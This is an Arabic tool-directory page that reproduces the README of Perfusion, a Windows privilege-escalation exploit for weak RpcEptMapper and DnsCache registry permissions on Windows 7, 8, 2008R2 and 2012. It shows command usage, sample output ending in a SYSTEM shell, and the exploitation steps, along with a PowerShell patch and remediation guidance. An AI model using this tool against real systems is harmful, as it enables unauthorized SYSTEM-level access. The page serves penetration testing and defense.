Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/itm4n/perfusion
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاختبار الاختراقArchived
GitHubitm4n/perfusion

Perfusion

استغلال ثغرة أذونات مفتاح التسجيل RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012)

عرض المستودع
42775منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

Perfusion

في ويندوز 7 و ويندوز سيرفر 2008R2 و ويندوز 8 و ويندوز سيرفر 2012، يتم تكوين مفتاح التسجيل لخدمتي RpcEptMapper و DnsCache (فقط 7/2008R2) بأذونات ضعيفة. يمكن لأي مستخدم محلي إنشاء مفتاح فرعي Performance ثم الاستفادة من عدادات أداء ويندوز لتحميل DLL تعسفي في سياق خدمة WMI كـ NT AUTHORITY\SYSTEM (ومن هنا جاء اسم الأداة).

هذه الأداة مخصصة لمساعدة مستشاري الأمن أثناء اختبارات الاختراق. هذا البرنامج مقدم كما هو، ومن المحتمل ألا أقدم أي دعم. ومع ذلك، فقد اختبرته بدقة على ثلاثة أجهزة افتراضية مختلفة لذلك لا ينبغي أن تكون هناك أي مشكلة كبيرة.

لمزيد من المعلومات: https://itm4n.github.io/windows-registry-rpceptmapper-eop/

ℹ️ تحديث 2021-04-21

وفقًا لـ 0patch، تم إصلاح هذه الثغرة جزئيًا مع تحديث ويندوز الصادر في أبريل 2021 (ESU). هذا يعني أن الأجهزة التي تعمل بإصدار محدث من ويندوز 8 / سيرفر 2012 لم تعد قابلة للاستغلال. ومع ذلك، لا يزال ويندوز 7 / سيرفر 2008 R2 عرضة للخطر. ما عليك سوى الاستفادة من مفتاح التسجيل Dnscache بدلاً من RpcEptMapper. لقد قمت بتحديث PoC بحيث يمكنك تحديده يدويًا باستخدام الخيار -k.

المشكلات المعروفة

⚠️ اقرأ هذا قبل استخدام هذه الأداة ⚠️

خلال مرحلة تطوير هذه الأداة، لاحظت سلوكين مختلفين:

  1. يتم تحميل DLL مباشرة بواسطة العملية الرئيسية لخدمة WMI كـ NT AUTHORITY\SYSTEM، وفي هذه الحالة يعمل الاستغلال بشكل جيد تمامًا.
  2. يتم تحميل DLL بواسطة عملية فرعية لخدمة WMI تعمل كـ NT AUTHORITY\LOCAL SERVICE. في هذه الحالة، تقوم الخدمة بتحميل DLL أثناء انتحال هوية العميل. وتبين أن تصعيد الامتيازات لا يزال ممكنًا على ويندوز 7 (بسبب ثغرة أخرى) ولكن تكلفة التنفيذ لم تكن تستحق الجهد.

أنا غير قادر على تفسير هذا الاختلاف لأن كود التحريك الخاص بي كان دائمًا هو نفسه. على أي حال، في كلتا الحالتين، دع الاستغلال يقوم بعمله حتى يتمكن من تنظيف كل شيء عند الانتهاء. إذا فشل الاستغلال، فلا تزال هناك فرصة لنجاحه بعد بضع دقائق أو ساعات.

✔️ إليك ما يجب أن تراه عندما ينجح الاستغلال:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Temp>whoami
nt authority\system

C:\Temp>

❌ إليك ما يجب أن تراه عندما يفشل الاستغلال:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.

C:\Temp>

تعليمات البناء

يتكون هذا الحل من مشروعين يحتاجان إلى التجميع بترتيب معين. كل شيء مهيأ مسبقًا، لذا ما عليك سوى اتباع هذه التعليمات البسيطة:

  1. افتح الحل باستخدام Visual Studio 2019
  2. حدد Release / x64
  3. Build > Build Solution

الاستخدام

يمكنك التحقق من رسالة المساعدة باستخدام الخيار -h.

root@kitploit:~
C:\TOOLS>Perfusion.exe -h
 _____         ___         _
|  _  |___ ___|  _|_ _ ___|_|___ ___
|   __| -_|  _|  _| | |_ -| | . |   |  version 0.2
|__|  |___|_| |_| |___|___|_|___|_|_|  by @itm4n

Description:
  Exploit tool for the RpcEptMapper registry key vulnerability.

Options:
  -c <CMD>  Command - Execute the specified command line
  -i        Interactive - Interact with the process (default: non-interactive)
  -d        Desktop - Spawn a new process on your desktop (default: hidden)
  -k <KEY>  Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
  -h        Help - That's me :)

المعالجة / التصحيح

إصدارات ويندوز التالية عرضة للخطر:

إصدار ويندوزمفاتيح التسجيل المعرضة للخطر
Windows 7RpcEptMapper, DnsCache
Windows Server 2008R2RpcEptMapper, DnsCache
Windows 8RpcEptMapper
Windows Server 2012RpcEptMapper

على حد علمي، لن تقوم مايكروسوفت بإصلاح هذه الثغرة لسبب ما. الحل الأفضل لا يزال هو الترقية إلى ويندوز 10 / سيرفر 2019 ولكن إذا لم يكن هذا خيارًا قصير المدى، فلا يزال بإمكانك تصحيح هذه المشكلة بنفسك عن طريق إزالة إذن CreateSubKey لكل من NT AUTHORITY\Authenticated Users و BUILTIN\Users على مفاتيح التسجيل التالية:

  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
  • HKLM\SYSTEM\CurrentControlSet\Services\DnsCache

لقد أنشأت تصحيحًا لهذه الثغرة على شكل سكريبت PowerShell: RegistryPatch.ps1. يقوم هذا السكريبت بإزالة حق CreateSubKey على مفتاحي التسجيل المذكورين أعلاه للهويات التالية: NT AUTHORITY\INTERACTIVE و BUILTIN\Users و/أو BUILTIN\Authenticated Users.

  • تحقق مما إذا كان الجهاز عرضة للخطر: (Windows Server 2012 هنا)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
  • طبق التصحيح: (Windows Server 2008 R2 هنا)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose 
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True

كيف يعمل هذا الاستغلال؟

فيما يلي خطوات الاستغلال المطبقة في هذه الأداة:

  1. يتم إنشاء عملية في الخلفية في حالة معلقة (باستخدام سطر الأوامر المحدد).
  2. يتم كتابة DLL الحمولة المضمنة في مجلد Temp الخاص بالمستخدم الحالي.
  3. يتم إنشاء مفتاح Performance تحت HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper وتعبئته بالقيم المناسبة، بما في ذلك المسار الكامل لـ DLL الذي تم إنشاؤه في الخطوة 2.
  4. يتم إنشاء واستدعاء فئة WMI Win32_Perf لتحفيز جمع عدادات أداء ويندوز.
  5. يتم تحميل DLL بواسطة خدمة WMI إما كـ NT AUTHORITY\SYSTEM أو NT AUTHORITY\LOCAL SERVICE.
  6. إذا تم تحميل DLL بواسطة NT AUTHORITY\SYSTEM، يتم نسخ توكنه وتطبيقه على العملية التي أنشأها المستخدم في الخطوة 1.
  7. يتم تنظيف كل شيء ويتم استئناف الخيط الرئيسي للعملية المعلقة.
تنزيل الأداة